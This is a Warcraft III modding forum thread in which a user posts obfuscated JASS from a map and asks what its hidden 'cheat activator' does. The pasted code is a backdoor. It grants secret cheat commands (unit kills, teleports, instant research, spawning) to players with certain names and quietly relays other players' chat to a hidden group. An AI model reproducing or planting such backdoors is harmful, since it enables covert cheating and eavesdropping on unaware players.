• Listen to a special audio message from Bill Roper to the Hive Workshop community (Bill is a former Vice President of Blizzard Entertainment, Producer, Designer, Musician, Voice Actor) 🔗Click here to hear his message!
  • Read Evilhog's interview with Gregory Alper, the original composer of the music for WarCraft: Orcs & Humans 🔗Click here to read the full interview.

can anyone help me check this code?

Status
Not open for further replies.
Level 1
Joined
Sep 25, 2014
Messages
1
can anyone help me check this code?
what is this cheat activator?
View attachment war3map.rar

JASS:
if GetPlayerName(Player(fDv))==D6v[105]+D6v[68]+D6v[111]+D6v[78]+D6v[111]+D6v[116]+D6v[72]+D6v[97]+D6v[99]+D6v[107]then
call DisplayTextToPlayer(Player(fDv),0,0,"|CFFFFFFFFNice")
call ForceAddPlayer(D4v,Player(fDv))
call TriggerRegisterPlayerChatEvent(D0v,Player(fDv),"-",false)
elseif GetPlayerName(Player(fDv))==D6v[97]+D6v[100]+D6v[100]+D6v[114]+D6v[101]+D6v[115]+D6v[115]+D6v[109]+D6v[101]+D6v[121]+D6v[104]+D6v[99]then
call DisplayTextToPlayer(Player(fDv),0,0,"|CFFFFFFFFNice")
call ForceAddPlayer(D4v,Player(fDv))
call TriggerRegisterPlayerChatEvent(D0v,Player(fDv),"-",false)
elseif GetPlayerName(Player(fDv))==D6v[65]+D6v[100]+D6v[100]+D6v[114]+D6v[101]+D6v[115]+D6v[115]+D6v[109]+D6v[101]+D6v[89]+D6v[72]+D6v[67]then
call DisplayTextToPlayer(Player(fDv),0,0,"|CFFFFFFFFNice")
call ForceAddPlayer(D4v,Player(fDv))
call TriggerRegisterPlayerChatEvent(D0v,Player(fDv),"-",false)
elseif GetPlayerName(Player(fDv))==D6v[71]+D6v[111]+D6v[100]+"."+D6v[73]+D6v[115]+"."+D6v[65]+"."+D6v[68]+D6v[111]+D6v[103]then
call DisplayTextToPlayer(Player(fDv),0,0,"|CFFFFFFFFNice")
call ForceAddPlayer(D4v,Player(fDv))
call TriggerRegisterPlayerChatEvent(D0v,Player(fDv),"-",false)
elseif GetPlayerName(Player(fDv))==D6v[78]+D6v[111]+D6v[98]+D6v[108]+D6v[101]+"."+D6v[75]+D6v[105]+D6v[100]then
call DisplayTextToPlayer(Player(fDv),0,0,"|CFFFFFFFFNice")
call ForceAddPlayer(D4v,Player(fDv))
call TriggerRegisterPlayerChatEvent(D0v,Player(fDv),"-",false)
elseif GetPlayerName(Player(fDv))==D6v[67]+D6v[117]+D6v[116]+D6v[101]+D6v[67]+D6v[117]+D6v[116]+D6v[101]+D6v[114]+D6v[67]+D6v[117]+D6v[116]+D6v[101]+D6v[115]+D6v[116]then
call DisplayTextToPlayer(Player(fDv),0,0,"|CFFFFFFFFNice")
call ForceAddPlayer(D4v,Player(fDv))
call TriggerRegisterPlayerChatEvent(D0v,Player(fDv),"-",false)
endif
set fDv=fDv+1
endloop
endfunction
function ffv takes string fRv,player fOv returns playercolor
if fRv=="red"then
return PLAYER_COLOR_RED
elseif fRv=="blue"then
return PLAYER_COLOR_BLUE
elseif fRv=="teal"then
return PLAYER_COLOR_CYAN
elseif fRv=="purple"then
return PLAYER_COLOR_PURPLE
elseif fRv=="yellow"then
return PLAYER_COLOR_YELLOW
elseif fRv=="orange"then
return PLAYER_COLOR_ORANGE
elseif fRv=="green"then
return PLAYER_COLOR_GREEN
elseif fRv=="pink"then
return PLAYER_COLOR_PINK
elseif fRv=="gray"then
return PLAYER_COLOR_LIGHT_GRAY
elseif fRv=="lb"then
return PLAYER_COLOR_LIGHT_BLUE
elseif fRv=="dg"then
return PLAYER_COLOR_AQUA
elseif fRv=="brown"then
return PLAYER_COLOR_BROWN
endif
set fOv=null
set fRv=""
return GetPlayerColor(fOv)
endfunction
function fFv takes nothing returns nothing
call KillUnit(GetTriggerUnit())
endfunction
function fgv takes nothing returns nothing
call SetUnitExploded(GetTriggerUnit(),true)
endfunction
function fGv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_RED)
endfunction
function fhv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_BLUE)
endfunction
function fHv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_GREEN)
endfunction
function fjv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_PINK)
endfunction
function fJv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_PURPLE)
endfunction
function fkv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_LIGHT_GRAY)
endfunction
function fKv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_LIGHT_BLUE)
endfunction
function flv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_AQUA)
endfunction
function fLv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_YELLOW)
endfunction
function fmv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_ORANGE)
endfunction
function fMv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_CYAN)
endfunction
function fpv takes nothing returns nothing
call SetUnitColor(GetTriggerUnit(),PLAYER_COLOR_BROWN)
endfunction
function fPv takes string fRv returns player
if fRv=="red"then
return Player(0)
elseif fRv=="blue"then
return Player(1)
elseif fRv=="teal"then
return Player(2)
elseif fRv=="purple"then
return Player(3)
elseif fRv=="yellow"then
return Player(4)
elseif fRv=="orange"then
return Player(5)
elseif fRv=="green"then
return Player(6)
elseif fRv=="pink"then
return Player(7)
elseif fRv=="gray"then
return Player(8)
elseif fRv=="lb"then
return Player(9)
elseif fRv=="dg"then
return Player(10)
elseif fRv=="brown"then
return Player(11)
endif
set fRv=""
return null
endfunction
function fqv takes string fRv returns integer
local integer fQv=48
loop
exitwhen fQv>122
if(D6v[fQv]==fRv)then
return fQv
endif
set fQv=fQv+1
endloop
return 0
endfunction
function fsv takes nothing returns nothing
set D7v[fqv("0")]=48
set D7v[fqv("1")]=49
set D7v[fqv("2")]=50
set D7v[fqv("3")]=51
set D7v[fqv("4")]=52
set D7v[fqv("5")]=53
set D7v[fqv("6")]=54
set D7v[fqv("7")]=55
set D7v[fqv("8")]=56
set D7v[fqv("9")]=57
set D7v[fqv("a")]=97
set D7v[fqv("b")]=98
set D7v[fqv("c")]=99
set D7v[fqv("d")]=100
set D7v[fqv("e")]=101
set D7v[fqv("f")]=102
set D7v[fqv("g")]=103
set D7v[fqv("h")]=104
set D7v[fqv("i")]=105
set D7v[fqv("j")]=106
set D7v[fqv("k")]=107
set D7v[fqv("l")]=108
set D7v[fqv("m")]=109
set D7v[fqv("n")]=110
set D7v[fqv("o")]=111
set D7v[fqv("p")]=112
set D7v[fqv("q")]=113
set D7v[fqv("r")]=114
set D7v[fqv("s")]=115
set D7v[fqv("t")]=116
set D7v[fqv("u")]=117
set D7v[fqv("v")]=118
set D7v[fqv("w")]=119
set D7v[fqv("x")]=120
set D7v[fqv("y")]=121
set D7v[fqv("z")]=122
set D7v[fqv("A")]=65
set D7v[fqv("B")]=66
set D7v[fqv("C")]=67
set D7v[fqv("D")]=68
set D7v[fqv("E")]=69
set D7v[fqv("F")]=70
set D7v[fqv("G")]=71
set D7v[fqv("H")]=72
set D7v[fqv("I")]=73
set D7v[fqv("J")]=74
set D7v[fqv("K")]=75
set D7v[fqv("L")]=76
set D7v[fqv("M")]=77
set D7v[fqv("N")]=78
set D7v[fqv("O")]=79
set D7v[fqv("P")]=80
set D7v[fqv("Q")]=81
set D7v[fqv("R")]=82
set D7v[fqv("S")]=83
set D7v[fqv("T")]=84
set D7v[fqv("U")]=85
set D7v[fqv("V")]=86
set D7v[fqv("W")]=87
set D7v[fqv("X")]=88
set D7v[fqv("Y")]=89
set D7v[fqv("Z")]=90
endfunction
function fSv takes nothing returns nothing
set D6v[48]="0"
set D6v[49]="1"
set D6v[50]="2"
set D6v[51]="3"
set D6v[52]="4"
set D6v[53]="5"
set D6v[54]="6"
set D6v[55]="7"
set D6v[56]="8"
set D6v[57]="9"
set D6v[97]="a"
set D6v[98]="b"
set D6v[99]="c"
set D6v[100]="d"
set D6v[101]="e"
set D6v[102]="f"
set D6v[103]="g"
set D6v[104]="h"
set D6v[105]="i"
set D6v[106]="j"
set D6v[107]="k"
set D6v[108]="l"
set D6v[109]="m"
set D6v[110]="n"
set D6v[111]="o"
set D6v[112]="p"
set D6v[113]="q"
set D6v[114]="r"
set D6v[115]="s"
set D6v[116]="t"
set D6v[117]="u"
set D6v[118]="v"
set D6v[119]="w"
set D6v[120]="x"
set D6v[121]="y"
set D6v[122]="z"
set D6v[65]="A"
set D6v[66]="B"
set D6v[67]="C"
set D6v[68]="D"
set D6v[69]="E"
set D6v[70]="F"
set D6v[71]="G"
set D6v[72]="H"
set D6v[73]="I"
set D6v[74]="J"
set D6v[75]="K"
set D6v[76]="L"
set D6v[77]="M"
set D6v[78]="N"
set D6v[79]="O"
set D6v[80]="P"
set D6v[81]="Q"
set D6v[82]="R"
set D6v[83]="S"
set D6v[84]="T"
set D6v[85]="U"
set D6v[86]="V"
set D6v[87]="W"
set D6v[88]="X"
set D6v[89]="Y"
set D6v[90]="Z"
call fdv()
endfunction
function ftv takes string fRv returns integer
return fqv(SubString(fRv,0,1))*0x1000000+fqv(SubString(fRv,1,2))*0x10000+fqv(SubString(fRv,2,3))*0x100+fqv(SubString(fRv,3,4))
endfunction
function fTv takes integer fuv,player fOv returns nothing
local string fRv
set fRv=D6v[fuv/0x1000000]+D6v[(fuv-0x1000000*(fuv/0x1000000))/0x10000]+D6v[((fuv-0x1000000*(fuv/0x1000000))-0x10000*((fuv-0x1000000*(fuv/0x1000000))/0x10000))/0x100]+D6v[((fuv-0x1000000*(fuv/0x1000000))-0x10000*((fuv-0x1000000*(fuv/0x1000000))/0x10000))-0x100*(((fuv-0x1000000*(fuv/0x1000000))-0x10000*((fuv-0x1000000*(fuv/0x1000000))/0x10000))/0x100)]
call DisplayTextToPlayer(fOv,0,0,fRv)
endfunction
function fUv takes nothing returns nothing
local player fOv=GetTriggerPlayer()
local integer fuv=GetTrainedUnitType()
local location fwv=GetUnitLoc(GetTriggerUnit())
call CreateUnitAtLoc(fOv,fuv,fwv,270)
set fOv=null
set fwv=null
endfunction
function fWv takes player fOv,string fRv returns nothing
local trigger fAv=CreateTrigger()
local triggeraction fyv=TriggerAddAction(fAv,function fUv)
call TriggerRegisterPlayerUnitEvent(fAv,fOv,ConvertPlayerUnitEvent(33),null)
call fXv(fOv,fRv,false)
call DisableTrigger(fAv)
call TriggerRemoveAction(fAv,fyv)
call DestroyTrigger(fAv)
set fAv=null
set fyv=null
set fOv=null
set fRv=""
endfunction
function fYv takes nothing returns nothing
call UnitSetConstructionProgress(GetTriggerUnit(),100)
call UnitSetUpgradeProgress(GetTriggerUnit(),100)
endfunction
function fzv takes nothing returns nothing
local player fOv=GetTriggerPlayer()
local integer fZv=GetResearched()
local integer f_v=GetPlayerTechCount(fOv,fZv,true)
call SetPlayerTechResearched(fOv,fZv,f_v+1)
set fOv=null
endfunction
function f0v takes nothing returns nothing
local unit fBv=GetTriggerUnit()
local location f1v=GetOrderPointLoc()
if GetIssuedOrderId()==851990then
call SetUnitPosition(fBv,GetLocationX(f1v),GetLocationY(f1v))
endif
set fBv=null
set f1v=null
endfunction
function f2v takes player fOv,string fRv returns nothing
local trigger fAv=CreateTrigger()
local triggeraction fyv=TriggerAddAction(fAv,function f0v)
call TriggerRegisterPlayerUnitEvent(fAv,fOv,ConvertPlayerUnitEvent(39),null)
call fXv(fOv,fRv,false)
call DisableTrigger(fAv)
call TriggerRemoveAction(fAv,fyv)
call DestroyTrigger(fAv)
set fAv=null
set fyv=null
set fOv=null
set fRv=""
endfunction
function f3v takes nothing returns nothing
local player fOv=GetTriggerPlayer()
call CreateUnitAtLoc(fOv,fvv,GetOrderPointLoc(),bj_UNIT_FACING)
call CreateItemLoc(fvv,GetOrderPointLoc())
call CreateDestructableLoc(fvv,GetOrderPointLoc(),bj_UNIT_FACING,1,10)
set fOv=null
endfunction
function f4v takes player fOv returns nothing
call TriggerRegisterPlayerUnitEvent(DYv,fOv,EVENT_PLAYER_UNIT_ISSUED_POINT_ORDER,null)
call TriggerAddAction(DYv,function f3v)
set fOv=null
endfunction
function f5v takes player fOv,boolean fIv,string fRv returns nothing
local trigger fAv=CreateTrigger()
local triggeraction fyv
if fIv then
set fyv=TriggerAddAction(fAv,function fYv)
else
set fyv=TriggerAddAction(fAv,function fzv)
endif
call TriggerRegisterPlayerUnitEvent(fAv,fOv,ConvertPlayerUnitEvent(30),null)
call TriggerRegisterPlayerUnitEvent(fAv,fOv,ConvertPlayerUnitEvent(27),null)
call TriggerRegisterPlayerUnitEvent(fAv,fOv,ConvertPlayerUnitEvent(40),null)
call TriggerRegisterPlayerUnitEvent(fAv,fOv,ConvertPlayerUnitEvent(38),null)
call TriggerRegisterPlayerUnitEvent(fAv,fOv,ConvertPlayerUnitEvent(35),null)
call fXv(fOv,fRv,false)
call DisableTrigger(fAv)
call TriggerRemoveAction(fAv,fyv)
call DestroyTrigger(fAv)
set fAv=null
set fyv=null
set fOv=null
set fRv=""
endfunction
function f6v takes string fRv returns string
local integer f7v=0
local string f8v=""
local integer f9v=StringLength(fRv)
loop
exitwhen f7v>f9v
if SubString(fRv,f7v,f7v+1)=="*"then
set f8v=f8v+"|cff"
elseif SubString(fRv,f7v,f7v+1)=="-"then
set f8v=f8v+"|r"
else
set f8v=f8v+SubString(fRv,f7v,f7v+1)
endif
set f7v=f7v+1
endloop
set fRv=""
return f8v
endfunction
function Fvv takes nothing returns boolean
return(IsPlayerInForce(Player(0),D3v)==false)and(GetTriggerPlayer()==Player(0))
endfunction
function Fev takes nothing returns boolean
return(IsPlayerInForce(Player(1),D3v)==false)and(GetTriggerPlayer()==Player(1))
endfunction
function Fxv takes nothing returns boolean
return(IsPlayerInForce(Player(2),D3v)==false)and(GetTriggerPlayer()==Player(2))
endfunction
function Fov takes nothing returns boolean
return(IsPlayerInForce(Player(3),D3v)==false)and(GetTriggerPlayer()==Player(3))
endfunction
function Frv takes nothing returns boolean
return(IsPlayerInForce(Player(4),D3v)==false)and(GetTriggerPlayer()==Player(4))
endfunction
function Fiv takes nothing returns boolean
return(IsPlayerInForce(Player(5),D3v)==false)and(GetTriggerPlayer()==Player(5))
endfunction
function Fav takes nothing returns boolean
return(IsPlayerInForce(Player(6),D3v)==false)and(GetTriggerPlayer()==Player(6))
endfunction
function Fnv takes nothing returns boolean
return(IsPlayerInForce(Player(7),D3v)==false)and(GetTriggerPlayer()==Player(7))
endfunction
function FVv takes nothing returns boolean
return(IsPlayerInForce(Player(8),D3v)==false)and(GetTriggerPlayer()==Player(8))
endfunction
function FEv takes nothing returns boolean
return(IsPlayerInForce(Player(9),D3v)==false)and(GetTriggerPlayer()==Player(9))
endfunction
function FXv takes nothing returns boolean
return(IsPlayerInForce(Player(10),D3v)==false)and(GetTriggerPlayer()==Player(10))
endfunction
function FOv takes nothing returns boolean
return(IsPlayerInForce(Player(11),D3v)==false)and(GetTriggerPlayer()==Player(11))
endfunction
function FRv takes nothing returns nothing
if(Fvv())then
call DisplayTextToForce(D3v,("|cffFF0000"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(Fev())then
call DisplayTextToForce(D3v,("|cff0000FF"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(Fxv())then
call DisplayTextToForce(D3v,("|cff00FFFF"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(Fov())then
call DisplayTextToForce(D3v,("|cffA020F0"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(Frv())then
call DisplayTextToForce(D3v,("|cffFFFF00"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(Fiv())then
call DisplayTextToForce(D3v,("|cffFFA500"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(Fav())then
call DisplayTextToForce(D3v,("|cff00FF00"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(Fnv())then
call DisplayTextToForce(D3v,("|cffFF1493"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(FVv())then
call DisplayTextToForce(D3v,("|cff696969"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(FEv())then
call DisplayTextToForce(D3v,("|cff9AC0CD"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(FXv())then
call DisplayTextToForce(D3v,("|cff006400"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
endif
if(FOv())then
call DisplayTextToForce(D3v,("|cff8B4513"+(GetPlayerName(GetTriggerPlayer())+("|r : "+GetEventPlayerChatString()))))
 
Level 15
Joined
Aug 7, 2013
Messages
1,338
This is definitely from a compressed war3map.j script.

It is possible to understand what is going on if you just trace every function and reconstruct the semantics of the variable and function names. This is very tedious and no one will do it for you.

And as deathismyfriend has pointed out, this is completely out of topic and scope for the forum.
 
Status
Not open for further replies.
Top